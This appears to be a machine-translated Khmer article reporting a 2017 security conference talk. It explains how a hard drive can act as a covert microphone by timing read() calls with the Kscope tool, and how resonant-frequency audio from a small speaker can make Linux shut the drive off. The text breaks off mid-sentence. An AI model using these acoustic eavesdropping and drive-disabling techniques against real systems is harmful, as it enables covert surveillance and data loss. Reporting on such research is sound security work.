αž αŸαžαž»αž’αŸ’αžœαžΈαž”αžΆαž“αž‡αžΆαž’αŸ’αž“αž€αž˜αž·αž“αž‚αž½αžšαžŸαŸ’αžšαŸ‚αž€αžŠαžΆαž€αŸ‹ HDD αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αŸ”

αž αŸαžαž»αž’αŸ’αžœαžΈαž”αžΆαž“αž‡αžΆαž’αŸ’αž“αž€αž˜αž·αž“αž‚αž½αžšαžŸαŸ’αžšαŸ‚αž€αžŠαžΆαž€αŸ‹ HDD αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αŸ”

αž“αŸ…αž€αŸ’αž“αž»αž„αžŸαž“αŸ’αž“αž·αžŸαž·αž‘αžŸαž»αžœαžαŸ’αžαž·αž—αžΆαž–αž€αž»αŸ†αž–αŸ’αž™αžΌαž‘αŸαžš Ekoparty 2017 αž“αŸ…αž‘αžΈαž€αŸ’αžšαž»αž„ Buenos Aires αž αŸαž€αžƒαŸαžšαž’αžΆαž αŸ’αžŸαž„αŸ‹αž‘αžΈαž“ Alfredo Ortega αž”αžΆαž“αž”αž„αŸ’αž αžΆαž‰αž€αžΆαžšαž’αž—αž·αžœαžŒαŸ’αžαž“αŸαž‚αž½αžšαž±αŸ’αž™αž…αžΆαž”αŸ‹αž’αžΆαžšαž˜αŸ’αž˜αžŽαŸαž˜αž½αž™ αžŠαŸ‚αž›αž‡αžΆαž”αŸ’αžšαž–αŸαž“αŸ’αž’αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαž›αž½αž…αž”αž“αŸ’αž›αŸ†αž“αŸƒαž”αžšαž·αžœαŸαžŽαžŠαŸ„αž™αž˜αž·αž“αž”αŸ’αžšαžΎαž˜αžΈαž€αŸ’αžšαžΌαž αŸ’αžœαžΌαž“αŸ” αžŸαŸ†αž‘αŸαž„ αžαžαžŠαŸ„αž™αž•αŸ’αž‘αžΆαž›αŸ‹αž‘αŸ…αžαžΆαžŸαžšαžΉαž„!

HDD αž‡αŸ’αžšαžΎαžŸαžšαžΎαžŸαž‡αžΆαž…αž˜αŸ’αž”αž„αž“αžΌαžœαžŸαŸ†αž‘αŸαž„αžŠαŸ‚αž›αž˜αžΆαž“αž”αŸ’αžšαŸαž€αž„αŸ‹αž‘αžΆαž” αž€αž˜αŸ’αžšαž·αžαžŸαŸ†αž‘αŸαž„αžαŸ’αž–αžŸαŸ‹ αž‡αŸ†αž αžΆαž“ αž“αž·αž„αžšαŸ†αž‰αŸαžšαž•αŸ’αžŸαŸαž„αž‘αŸ€αžαŸ” αž€αžΆαžšαž“αž·αž™αžΆαž™αžšαž”αžŸαŸ‹αž˜αž“αž»αžŸαŸ’αžŸαž˜αž·αž“αž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αž‚αŸαž‘αž‘αž½αž›αžŸαŸ’αž‚αžΆαž›αŸ‹αž“αŸ…αž‘αžΎαž™αž‘αŸ αž‘αŸ„αŸ‡αž”αžΈαž‡αžΆαž’αŸ’αž“αž€αžœαž·αž‘αŸ’αž™αžΆαžŸαžΆαžŸαŸ’αžαŸ’αžšαž€αŸαžŠαŸ„αž™αŸ” αž€αŸ†αž–αž»αž„αž’αŸ’αžœαžΎαž€αžΆαžšαžŸαŸ’αžšαžΆαžœαž‡αŸ’αžšαžΆαžœαž€αŸ’αž“αž»αž„αž‘αž·αžŸαžŠαŸ…αž“αŸαŸ‡αŸ” (αž€αžΆαžšβ€‹αž‘αž‘αž½αž›β€‹αžŸαŸ’αž‚αžΆαž›αŸ‹β€‹αž€αžΆαžšβ€‹αž“αž·αž™αžΆαž™β€‹αžŠαŸ„αž™β€‹αžšαŸ†αž‰αŸαžšβ€‹αž”αŸ’αžšαŸαž€αž„αŸ‹β€‹αž‘αžΆαž”β€‹αžŠαŸ‚αž›β€‹αžαŸ’αžšαžΌαžœβ€‹αž”αžΆαž“β€‹αžαžβ€‹αž‘αž»αž€β€‹αž‡αžΆβ€‹αž§αž‘αžΆαž αžšαžŽαŸβ€‹αž–αžΈ gyroscope ឬ HDD)αŸ”

αžŸαŸ†αž‘αŸαž„αž‚αžΊαž‡αžΆαž€αžΆαžšαžšαŸ†αž‰αŸαžšαž“αŸƒαžαŸ’αž™αž›αŸ‹ αž¬αž§αž”αž€αžšαžŽαŸαž•αŸ’αž‘αž»αž€αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαŸ” αž˜αž“αž»αžŸαŸ’αžŸαž˜αŸ’αž“αžΆαž€αŸ‹αž™αž›αŸ‹αžƒαžΎαž‰αž–αž½αž€αž‚αŸαžαžΆαž˜αžšαž™αŸˆαž€αŸ’αžšαžŠαžΆαžŸαžαŸ’αžšαž…αŸ€αž€ αžŠαŸ‚αž›αž”αž‰αŸ’αž‡αžΌαž“αžšαŸ†αž‰αŸαžšαž‘αŸ…αžαŸ’αžšαž…αŸ€αž€αžαžΆαž„αž€αŸ’αž“αž»αž„αŸ” αž˜αžΈαž€αŸ’αžšαžΌαž αŸ’αžœαžΌαž“αžαŸ’αžšαžΌαžœαž”αžΆαž“αžšαž…αž“αžΆαž‘αžΎαž„αž”αŸ’αžšαž αžΆαž€αŸ‹αž”αŸ’αžšαž αŸ‚αž›αž“αžΉαž„αžαŸ’αžšαž…αŸ€αž€ - αž“αŸ…αž‘αžΈαž“αŸαŸ‡αž•αž„αžŠαŸ‚αžš αž€αžΆαžšαžšαŸ†αž‰αŸαžšαžαŸ’αžšαžΌαžœαž”αžΆαž“αž€αžαŸ‹αžαŸ’αžšαžΆαžŠαŸ„αž™αž—αŸ’αž“αžΆαžŸαžŸαŸ’αžαžΎαž„ αžŠαŸ‚αž›αž’αŸ’αžœαžΎαž’αŸ„αž™αžšαŸ†αž‰αŸαžšαž’αž‚αŸ’αž‚αž·αžŸαž“αžΈαŸ” αž‡αžΆαž€αžΆαžšαž–αž·αžαžŽαžΆαžŸαŸ‹ αžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„αž€αŸαž‘αž‘αž½αž›αžšαž„αž€αžΆαžšαžšαŸ†αž‰αŸαžšαž˜αžΈαž€αŸ’αžšαžΌαž‘αžŸαŸ’αžŸαž“αŸαž•αž„αžŠαŸ‚αžš αžŠαŸ„αž™αžŸαžΆαžšαžαŸ‚αž€αžΆαžšαž”αŸ’αžšαŸ‚αž”αŸ’αžšαž½αž›αž“αŸƒαžαŸ’αž™αž›αŸ‹αž‡αž»αŸ†αžœαž·αž‰αŸ” αž“αŸαŸ‡αžαŸ’αžšαžΌαžœαž”αžΆαž“αž‚αŸαžŸαŸ’αž‚αžΆαž›αŸ‹αžŸαžΌαž˜αŸ’αž”αžΈαžαŸ‚αž–αžΈαž›αž€αŸ’αžαžŽαŸˆαž”αž…αŸ’αž…αŸαž€αž‘αŸαžŸαžšαž”αžŸαŸ‹ HDDs αž€αŸαžŠαŸ„αž™αŸ– αž€αŸ’αžšαž»αž˜αž αŸŠαž»αž“αž•αž›αž·αžαž‡αžΆαž’αž˜αŸ’αž˜αžαžΆαž”αž„αŸ’αž αžΆαž‰αž–αžΈαž€αž˜αŸ’αžšαž·αžαžšαŸ†αž‰αŸαžšαžŠαŸ‚αž›αž’αžΆαž…αž’αž“αž»αž‰αŸ’αž‰αžΆαžαž”αžΆαž“αž’αžαž·αž”αžšαž˜αžΆ αž αžΎαž™αžαžΆαžŸαžšαžΉαž„αžαŸ’αž›αž½αž“αž―αž„αž‡αžΆαžšαžΏαž™αŸ—αž–αŸ’αž™αžΆαž™αžΆαž˜αžŠαžΆαž€αŸ‹αžœαžΆαž“αŸ…αž€αŸ’αž“αž»αž„αž’αž»αž„αž’αž“αŸ‹αž“αžΉαž„αžšαŸ†αž‰αŸαžšαžŠαŸ‚αž›αž’αŸ’αžœαžΎαž–αžΈαž€αŸ…αžŸαŸŠαžΌ αž¬αžŸαž˜αŸ’αž—αžΆαžšαŸˆαž’αŸŠαžΈαžŸαžΌαž‘αž„αŸ‹αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαŸ” αž–αžΈαž“αŸαŸ‡αžœαžΆαž„αžΆαž™αžŸαŸ’αžšαž½αž›αž€αŸ’αž“αž»αž„αž€αžΆαžšαžŸαž“αŸ’αž“αž·αžŠαŸ’αž‹αžΆαž“αžαžΆαžŸαŸ†αž‘αŸαž„αž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αžαžαžŠαŸ„αž™αž”αŸ’αžšαžΎ HDD αŸ” αž’αŸ’αžœαžΈαžŠαŸ‚αž›αž“αŸ…αžŸαž›αŸ‹αž‚αžΊαžαŸ’αžšαžΌαžœαžŸαŸ’αžœαŸ‚αž„αž™αž›αŸ‹αž–αžΈαžšαž”αŸ€αž”αŸ”

Alfredo Ortega αž”αžΆαž“αžŸαŸ’αž“αžΎαž€αŸ†αžŽαŸ‚αžαŸ‚αž˜αž½αž™αž‚αžαŸ‹αž“αŸƒαž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαžαžΆαž˜αž†αžΆαž“αŸ‚αž›αž˜αž½αž™αž‚αžΊαž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž–αŸαž›αžœαŸαž›αžΆαŸ” αž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž“αŸαŸ‡αž‚αžΊαž•αŸ’αž’αŸ‚αž€αž›αžΎαž€αžΆαžšαžŸαž“αŸ’αž˜αžαŸ‹αžαžΆαž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαž•αŸ’αžŸαŸαž„αž‚αŸ’αž“αžΆαžαŸ’αžšαžΌαžœαž”αžΆαž“αž’αž“αž»αžœαžαŸ’αžαž“αŸ…αž›αžΎαž§αž”αž€αžšαžŽαŸαž“αŸ…αž–αŸαž›αž•αŸ’αžŸαŸαž„αž‚αŸ’αž“αžΆ αž’αžΆαžŸαŸ’αžšαŸαž™αž›αžΎαž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αž‰αŸ’αž…αžΌαž›αžŠαŸ‚αž›αž”αžΆαž“αž•αŸ’αžαž›αŸ‹αž±αŸ’αž™αŸ” αž€αŸ’αž“αž»αž„αž€αžšαžŽαžΈαž“αŸαŸ‡ "αž‘αž·αž“αŸ’αž“αž“αŸαž™αž”αž‰αŸ’αž…αžΌαž›" αž‚αžΊαž‡αžΆαž€αžΆαžšαžšαŸ†αž‰αŸαžšαž“αŸƒαž€αŸ’αž”αžΆαž›αž’αžΆαž“ αž“αž·αž„αž”αž“αŸ’αž‘αŸ‡ HDD αžŠαŸ‚αž›αž‘αžΆαž€αŸ‹αž‘αž„αž‡αžΆαž˜αž½αž™αžšαŸ†αž‰αŸαžšαž“αŸƒαž”αžšαž·αžŸαŸ’αžαžΆαž“ αž–αŸ„αž›αž‚αžΊαž‡αžΆαž˜αž½αž™αž“αžΉαž„αžŸαŸ†αž‘αŸαž„αŸ” αžŠαžΌαž…αŸ’αž“αŸαŸ‡αžŠαŸ„αž™αž€αžΆαžšαžœαžΆαžŸαŸ‹αžŸαŸ’αž‘αž„αŸ‹αž–αŸαž›αžœαŸαž›αžΆαž‚αžŽαž“αžΆ αž“αž·αž„αž’αŸ’αžœαžΎαž€αžΆαžšαžœαž·αž—αžΆαž‚αžŸαŸ’αžαž·αžαž·αž“αŸƒαž‘αž·αž“αŸ’αž“αž“αŸαž™ αžœαžΆαž’αžΆαž…αžœαžΆαžŸαŸ‹αžŸαŸ’αž‘αž„αŸ‹αžšαŸ†αž‰αŸαžšαž“αŸƒαž€αŸ’αž”αžΆαž›/αž…αžΆαž“ αž αžΎαž™αž αŸαžαž»αžŠαžΌαž…αŸ’αž“αŸαŸ‡αž αžΎαž™αž€αžΆαžšαžšαŸ†αž‰αŸαžšαžšαž”αžŸαŸ‹αž§αž”αž€αžšαžŽαŸαž•αŸ’αž‘αž»αž€αŸ” αž€αžΆαžšαž–αž“αŸ’αž™αžΆαž–αŸαž›αž€αŸ’αž“αž»αž„αž€αžΆαžšαž’αžΆαž“αž‘αž·αž“αŸ’αž“αž“αŸαž™αž€αžΆαž“αŸ‹αžαŸ‚αž™αžΌαžš αž€αžΆαžšαžšαŸ†αž‰αŸαžš HDD αž€αžΆαž“αŸ‹αžαŸ‚αžαŸ’αž›αžΆαŸ†αž„ αž αžΎαž™αžŠαžΌαž…αŸ’αž“αŸαŸ‡αžŸαŸ†αž‘αŸαž„αž€αžΆαž“αŸ‹αžαŸ‚αžαŸ’αž›αžΆαŸ†αž„αŸ”

αžαžΎαž’αŸ’αžœαžΎαžŠαžΌαž…αž˜αŸ’αžαŸαž…αžŠαžΎαž˜αŸ’αž”αžΈαžœαžΆαžŸαŸ‹αžšαŸ†αž‰αŸαžšαž“αŸƒαžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„? αžŸαžΆαž˜αž‰αŸ’αž‰αžŽαžΆαžŸαŸ‹αŸ– αž‚αŸ’αžšαžΆαž“αŸ‹αžαŸ‚αžŠαŸ†αžŽαžΎαžšαž€αžΆαžšαž€αžΆαžšαž αŸ…αžαžΆαž˜αž”αŸ’αžšαž–αŸαž“αŸ’αž’ read () - αž“αž·αž„αž€αžαŸ‹αžαŸ’αžšαžΆαž–αŸαž›αžœαŸαž›αžΆαžŠαŸ‚αž›αžœαžΆαžαŸ’αžšαžΌαžœαž€αžΆαžšαžŠαžΎαž˜αŸ’αž”αžΈαž”αž‰αŸ’αž…αž”αŸ‹αŸ” αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαž‘αŸ†αž“αžΎαž”αž’αž“αž»αž‰αŸ’αž‰αžΆαžαž±αŸ’αž™αž’αŸ’αž“αž€αž’αžΆαž“αž–αŸαž›αžœαŸαž›αžΆαž“αŸƒαž€αžΆαžšαž αŸ…αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž—αžΆαž–αžαŸ’αžšαžΉαž˜αžαŸ’αžšαžΌαžœ nanosecond αŸ”

αž›αŸ’αž”αžΏαž“αž“αŸƒαž€αžΆαžšαž’αžΆαž“αž–αŸαžαŸŒαž˜αžΆαž“αž–αžΈαžœαž·αžŸαŸαž™αž˜αž½αž™αž’αžΆαžŸαŸ’αžšαŸαž™αž‘αŸ…αž›αžΎαž‘αžΈαžαžΆαŸ†αž„αžšαž”αžŸαŸ‹αž€αŸ’αž”αžΆαž› αž“αž·αž„αž…αžΆαž“αžšαžΆαž„αžŸαŸ†αž”αŸ‰αŸ‚αž αžŠαŸ‚αž›αž‘αžΆαž€αŸ‹αž‘αž„αž‡αžΆαž˜αž½αž™αžšαŸ†αž‰αŸαžšαž“αŸƒαž€αžšαžŽαžΈ HDD αŸ” αž’αžŸαŸ‹αž αžΎαž™αŸ”

αž€αžΆαžšαžœαž·αž—αžΆαž‚αžŸαŸ’αžαž·αžαž·αžαŸ’αžšαžΌαžœαž”αžΆαž“αž’αž“αž»αžœαžαŸ’αžαžŠαŸ„αž™αž”αŸ’αžšαžΎαž§αž”αž€αžšαžŽαŸαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Kscope αžŸαžΆαž˜αž‰αŸ’αž‰αŸ” αžŠαžΌαž…αžŠαŸ‚αž›αž–αž½αž€αž‚αŸαž“αž·αž™αžΆαž™ αž’αŸ’αžœαžΈαž‚αŸ’αžšαž”αŸ‹αž™αŸ‰αžΆαž„αžŠαŸ‚αž›αž”αŸ‰αž·αž“αž”αŸ’αžšαžŸαž”αŸ‹αž‚αžΊαžŸαžΆαž˜αž‰αŸ’αž‰αŸ”

αž αŸαžαž»αž’αŸ’αžœαžΈαž”αžΆαž“αž‡αžΆαž’αŸ’αž“αž€αž˜αž·αž“αž‚αž½αžšαžŸαŸ’αžšαŸ‚αž€αžŠαžΆαž€αŸ‹ HDD αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αŸ”
αž§αž”αž€αžšαžŽαŸαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Kscope (stat() syscall)

Kscope αž‚αžΊβ€‹αž‡αžΆβ€‹αž§αž”αž€αžšαžŽαŸβ€‹αž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹β€‹αžαžΌαž…β€‹αž˜αž½αž™β€‹αžŸαž˜αŸ’αžšαžΆαž”αŸ‹β€‹αž˜αžΎαž›β€‹αžƒαžΎαž‰β€‹αž–αžΈβ€‹αž—αžΆαž–β€‹αžαž»αžŸβ€‹αž‚αŸ’αž“αžΆβ€‹αžαžΌαž…β€‹αŸ—β€‹αž“αŸ…β€‹αž€αŸ’αž“αž»αž„β€‹αž–αŸαž›β€‹αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·β€‹αž€αžΆαžšβ€‹αž αŸ…β€‹αž‘αžΌαžšαžŸαž–αŸ’αž‘β€‹αžšαž”αžŸαŸ‹β€‹αž”αŸ’αžšαž–αŸαž“αŸ’αž’αŸ” αž”αŸ’αžšαž—αž–αž…αŸαž‰αž•αŸ’αžŸαžΆαž™αž“αŸ…αž›αžΎ GitHub.

αž“αŸ…αž€αŸ’αž“αž»αž„αžƒαŸ’αž›αžΆαŸ†αž„αžŠαžΆαž…αŸ‹αžŠαŸ„αž™αž‘αŸ‚αž€ αž–αŸαž›αžœαŸαž›αžΆ HDD αž˜αžΆαž“αž€αŸ†αžŽαŸ‚αž“αŸƒαž§αž”αž€αžšαžŽαŸαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹αžŠαŸ‚αž›αž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αžŸαž˜αŸ’αžšαžΆαž”αŸ‹αž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž–αŸαž›αž˜αž½αž™αž“αŸ…αž›αžΎ hard drive αž“αŸ„αŸ‡αž‚αžΊαž”αžΆαž“αž€αŸ†αžŽαžαŸ‹αžšαž…αž“αžΆαžŸαž˜αŸ’αž–αŸαž“αŸ’αž’αžŠαžΎαž˜αŸ’αž”αžΈαžœαž·αž—αžΆαž‚αž€αžΆαžšαž αŸ…αž”αŸ’αžšαž–αŸαž“αŸ’αž’αŸ” read ().

αž€αžΆαžšαž”αž„αŸ’αž αžΆαž‰αž–αžΈαž€αžΆαžšαžαžαžŸαŸ†αž‘αŸαž„αžŠαŸ„αž™αž”αŸ’αžšαžΎ HDD αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαžšαž”αžŸαŸ‹αž§αž”αž€αžšαžŽαŸαž”αŸ’αžšαžΎαž”αŸ’αžšαžΆαžŸαŸ‹ Kscope


αž‡αžΆαž€αžΆαžšαž–αž·αžαžŽαžΆαžŸαŸ‹ αž€αžΆαžšαž“αž·αž™αžΆαž™αž˜αž·αž“αž’αžΆαž…αž™αž›αŸ‹αž”αžΆαž“αžαžΆαž˜αžœαž·αž’αžΈαž“αŸαŸ‡ αž”αŸ‰αž»αž“αŸ’αžαŸ‚ HDD αž‚αžΊαž–αž·αžαž‡αžΆαžŸαž˜αžšαž˜αŸ’αž™αž‡αžΆαž§αž”αž€αžšαžŽαŸαž…αžΆαž”αŸ‹αžŸαž‰αŸ’αž‰αžΆαžšαŸ†αž‰αŸαžšαŸ” αž§αž‘αžΆαž αžšαžŽαŸ αž’αŸ’αž“αž€αž’αžΆαž…αž…αž»αŸ‡αžˆαŸ’αž˜αŸ„αŸ‡ αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž’αŸ’αž“αž€αž–αžΆαž€αŸ‹αžŸαŸ’αž”αŸ‚αž€αž‡αžΎαž„αžšαžΉαž„ αž¬αž‡αžΎαž„αž‘αž‘αŸαžšαž…αžΌαž›αž”αž“αŸ’αž‘αž”αŸ‹αž‡αžΆαž˜αž½αž™αž€αž»αŸ†αž–αŸ’αž™αžΌαž‘αŸαžš (αž”αŸ’αžšαž αŸ‚αž›αž‡αžΆαž”αŸ’αžšαžŸαž·αž“αž”αžΎαž’αŸ’αž“αž€αžœαžΆαž™αž”αŸ’αžšαž αžΆαžšαž–αžΆαž€αŸ‹αžŸαŸ’αž”αŸ‚αž€αž‡αžΎαž„αž”αŸ‰αžΆαžαžΆαž‘αž“αŸ‹ αž¬αž˜αžΆαž“αž€αŸ†αžšαžΆαž›αž–αŸ’αžšαŸ†αž€αŸ’αžšαžΆαžŸαŸ‹αž“αŸ…αž›αžΎαž₯αžŠαŸ’αž‹ HDD αž“αžΉαž„αž˜αž·αž“αž’αžΆαž…αž…αž»αŸ‡αžˆαŸ’αž˜αŸ„αŸ‡αžšαŸ†αž‰αŸαžšαž”αžΆαž“αž‘αŸ - αž“αŸαŸ‡αž˜αžΆαž“αžαž˜αŸ’αž›αŸƒαž–αž·αž“αž·αžαŸ’αž™) αŸ” αž€αž»αŸ†αž–αŸ’αž™αžΌαž‘αŸαžšαž’αžΆαž…αž…αž»αŸ‡αžˆαŸ’αž˜αŸ„αŸ‡αž€αž‰αŸ’αž…αž€αŸ‹αžαžΌαž… αž¬αž§αž”αž‘αŸ’αž‘αžœαž αŸαžαž»αž•αŸ’αžŸαŸαž„αž‘αŸ€αžαž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αž˜αŸ’αžšαž·αžαžŸαŸ†αž‘αŸαž„αžαŸ’αž›αžΆαŸ†αž„αŸ” αž“αŸ„αŸ‡αž‚αžΊαžαžΆ αžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„αž’αžΆαž…αž”αž˜αŸ’αžšαžΎαž‡αžΆαž”αŸ’αžšαž—αŸαž‘αž“αŸƒαž”αŸ’αžšαž–αŸαž“αŸ’αž’αžšαž€αžƒαžΎαž‰αž€αžΆαžšαžˆαŸ’αž›αžΆαž“αž–αžΆαž“αžŠαŸ„αž™αž‚αŸ’αž˜αžΆαž“αž€αžΆαžšαž’αž“αž»αž‰αŸ’αž‰αžΆαžαŸ”

αžƒαžΆαžαž€αžš HDD

αžŠαŸ„αž™αžœαž·αž’αžΈαž“αŸαŸ‡αž”αž…αŸ’αž…αŸαž€αž‘αŸαžŸαžŸαŸ’αžšαžŠαŸ€αž„αž‚αŸ’αž“αžΆαž’αžΆαž…αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αŸ’αžšαžΎαžŠαžΎαž˜αŸ’αž”αžΈαž”αž·αž‘αžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„αŸ” αž˜αžΆαž“αžαŸ‚αž“αŸ…αž‘αžΈαž“αŸαŸ‡αž‘αŸαžŠαŸ‚αž›αž™αžΎαž„αž˜αž·αž“αžŠαž€αž›αŸ†αž™αŸ„αž›αž…αŸαž‰αž–αžΈ HDD αž”αŸ‰αž»αž“αŸ’αžαŸ‚αž•αŸ’αž‘αž»αž™αž‘αŸ…αžœαž·αž‰ αž™αžΎαž„αž”αž„αŸ’αž€αžΎαžαž›αŸ†αž™αŸ„αž›αžŠαŸ‚αž›αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αž‰αŸ’αž…αžΌαž›αž‘αŸ…αž€αŸ’αž“αž»αž„ HDD αŸ” αž”αŸ’αžšαžŸαž·αž“αž”αžΎαž’αŸ’αž“αž€αž…αžΆαž€αŸ‹αžŸαŸ†αž‘αŸαž„αž–αžΈαž§αž”αž€αžšαžŽαŸαž”αŸ†αž–αž„αžŸαž˜αŸ’αž›αŸαž„αž“αŸ…αž”αŸ’αžšαŸαž€αž„αŸ‹αžŠαŸ‚αž›αžŸαŸ’αžšαž”αž“αžΉαž„αž”αŸ’αžšαŸαž€αž„αŸ‹ HDD αž“αŸ„αŸ‡αž”αŸ’αžšαž–αŸαž“αŸ’αž’αž“αžΉαž„αž”αž·αž‘αž§αž”αž€αžšαžŽαŸαž—αŸ’αž›αžΆαž˜αŸ—αžŠαŸ„αž™αž˜αžΆαž“αž€αŸ†αž αž»αžŸ I/O (αžαžΊαžŽαŸ‚αž›αž›αžΈαž“αž»αž…αž”αž·αž‘ HDD αž‘αžΆαŸ†αž„αžŸαŸ’αžšαž»αž„αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž–αžΈ 120 αžœαž·αž“αžΆαž‘αžΈ)αŸ” αžαžΆαžŸαžšαžΉαž„αžαŸ’αž›αž½αž“αž―αž„αž’αžΆαž…αžšαž„αž€αžΆαžšαžαžΌαž…αžαžΆαžαžŠαŸ‚αž›αž˜αž·αž“αž’αžΆαž…αžαŸ’αžšαž‘αž”αŸ‹αžœαž·αž‰αž”αžΆαž“αŸ”

αž αŸαžαž»αž’αŸ’αžœαžΈαž”αžΆαž“αž‡αžΆαž’αŸ’αž“αž€αž˜αž·αž“αž‚αž½αžšαžŸαŸ’αžšαŸ‚αž€αžŠαžΆαž€αŸ‹ HDD αžšαž”αžŸαŸ‹αž’αŸ’αž“αž€αŸ”
αžαžΊαžŽαŸ‚αž›αž›αžΈαž“αž»αž…αž”αžΆαž“αž”αž·αž‘αžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž–αžΈ 120 αžœαž·αž“αžΆαž‘αžΈαž“αŸƒαž€αžΆαžšαž•αŸ’αžαž›αŸ‹αžŸαŸ†αž‘αŸαž„αž“αŸ…αž”αŸ’αžšαŸαž€αž„αŸ‹ resonant αžαžΆαž˜αžšαž™αŸˆαž§αž”αž€αžšαžŽαŸαž”αŸ†αž–αž„αžŸαŸ†αž‘αŸαž„ Edifier r19u USB speaker αŸ” αž§αž”αž€αžšαžŽαŸαž”αŸ†αž–αž„αžŸαž˜αŸ’αž›αŸαž„αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αžΎαž€αž“αŸ…αž”αŸ’αžšαž αŸ‚αž›αž˜αž½αž™αž—αžΆαž‚αž”αž½αž“αž“αŸƒαžαžΆαž˜αž–αž› (αžαž·αž…αž‡αžΆαž„ 100 mW) αž“αž·αž„αžŸαŸ’αžαž·αžαž“αŸ…αž…αž˜αŸ’αž„αžΆαž™ 20 αžŸαž„αŸ‹αž‘αžΈαž˜αŸ‰αŸ‚αžαŸ’αžšαž–αžΈ HDD αžŸαŸ†αžŠαŸ…αž›αžΎαžαž»αžŠαžΎαž˜αŸ’αž”αžΈαž”αž„αŸ’αž€αžΎαž“αž€αžΆαžšαžšαŸ†αž‰αŸαžšαŸ” αžŸαŸŠαž»αž˜αž–αžΈ វីដេធូ αž‡αžΆαž˜αž½αž™αž“αžΉαž„αž€αžΆαžšαž”αž„αŸ’αž αžΆαž‰αž’αŸ†αž–αžΈ HDD killer

αžœαžΆαž‚αž½αžšαž±αŸ’αž™αž…αž„αŸ‹αžŠαžΉαž„αžŠαŸ‚αž›αžαžΆ "αž€αžΆαžšαžœαžΆαž™αž”αŸ’αžšαž αžΆαžš" αž”αŸ‚αž”αž“αŸαŸ‡αž›αžΎ HDDs αž‡αž½αž“αž€αžΆαž›αž€αžΎαžαž‘αžΎαž„αž‘αžΆαŸ†αž„αžŸαŸ’αžšαž»αž„αžŠαŸ„αž™αž…αŸƒαžŠαž“αŸ’αž™αž“αŸ…αž€αŸ’αž“αž»αž„αž‡αžΈαžœαž·αžαž”αŸ’αžšαž…αžΆαŸ†αžαŸ’αž„αŸƒαŸ” αž‡αžΆαž§αž‘αžΆαž αžšαžŽαŸ αž€αŸ’αž“αž»αž„αžαŸ‚αž€αž‰αŸ’αž‰αžΆ αž†αŸ’αž“αžΆαŸ† 2016 αž˜αž‡αŸ’αžˆαž˜αžŽαŸ’αžŒαž›αž‘αž·αž“αŸ’αž“αž“αŸαž™αžšαž”αžŸαŸ‹αž’αž“αžΆαž‚αžΆαžš ING αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αž„αŸ’αžαŸ†αž±αŸ’αž™αž•αŸ’αž’αžΆαž€αž”αŸ’αžšαžαž·αž”αžαŸ’αžαž·αž€αžΆαžšαžšαž™αŸˆαž–αŸαž› 10 αž˜αŸ‰αŸ„αž„αž”αž“αŸ’αž‘αžΆαž”αŸ‹αž–αžΈαž€αžΆαžšαž αŸ’αžœαžΉαž€αž αžΆαžαŸ‹αž—αŸ’αž›αžΎαž„αŸ” αžŠαŸ’αžšαžΆαž™αžœαŸαžšαžΉαž„αžšαžΆαž”αŸ‹αžŸαž·αž”αž”αžΆαž“αž”αžšαžΆαž‡αŸαž™ αžŠαŸ„αž™αžŸαžΆαžšαžαŸ‚αžŸαŸ†αž‘αŸαž„αžαŸ’αž›αžΆαŸ†αž„αž“αŸƒαž§αžŸαŸ’αž˜αŸαž“αž’αžŸαž€αž˜αŸ’αž˜αžαŸ’αžšαžΌαžœαž”αžΆαž“αž”αž‰αŸ’αž…αŸαž‰αž…αŸαž‰αž–αžΈαžŸαŸŠαžΈαž‘αžΆαŸ†αž„αž€αŸ’αžšαŸ„αž˜αžŸαž˜αŸ’αž–αžΆαž’αžαŸ’αž–αžŸαŸ‹αŸ” αžŸαŸ†αž‘αŸαž„αž‚αžΊαžαŸ’αž›αžΆαŸ†αž„ (αž…αŸ’αžšαžΎαž“αž‡αžΆαž„ 130 dB) αž”αŸ‰αž»αž“αŸ’αžαŸ‚αž’αŸ’αž“αž€αž˜αž·αž“αž’αžΆαž…αžŸαžΌαž˜αŸ’αž”αžΈαžαŸ‚αžŸαŸ’αžšαŸ‚αž€αžŠαžΆαž€αŸ‹αžαžΆαžŸαžšαžΉαž„ - 